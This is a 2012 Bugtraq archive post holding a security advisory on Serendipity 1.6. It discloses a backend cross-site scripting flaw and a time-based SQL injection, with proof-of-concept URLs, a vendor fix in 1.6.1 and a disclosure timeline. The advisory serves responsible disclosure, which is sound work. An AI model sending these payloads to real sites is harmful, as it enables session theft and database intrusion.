Home page logo
/

bugtraq logo Bugtraq mailing list archives

Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
From: security () koramis de
Date: Tue, 8 May 2012 18:13:19 GMT

Advisory:               Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID:            KORAMIS-ADV2012-001
Contact:                security () koramis de
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on Serendipity 1.6
Vendor URL:             http://www.s9y.org
Vendor Status:          fixed

==========================
Vulnerability Description:
==========================

The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

==================
Technical Details:
==================

// XSS
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='";</script><script>alert(document.cookie)</script>

// SQL-Injection
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1&apos; OR 
SLEEP(10)=0 LIMIT 1--+

=========
Solution:
=========

Upgrade to version 1.6.1

====================
Disclosure Timeline:
====================

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

===========
References:
===========

http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html


  By Date           By Thread  

Current thread:
  • Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability security (May 09)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault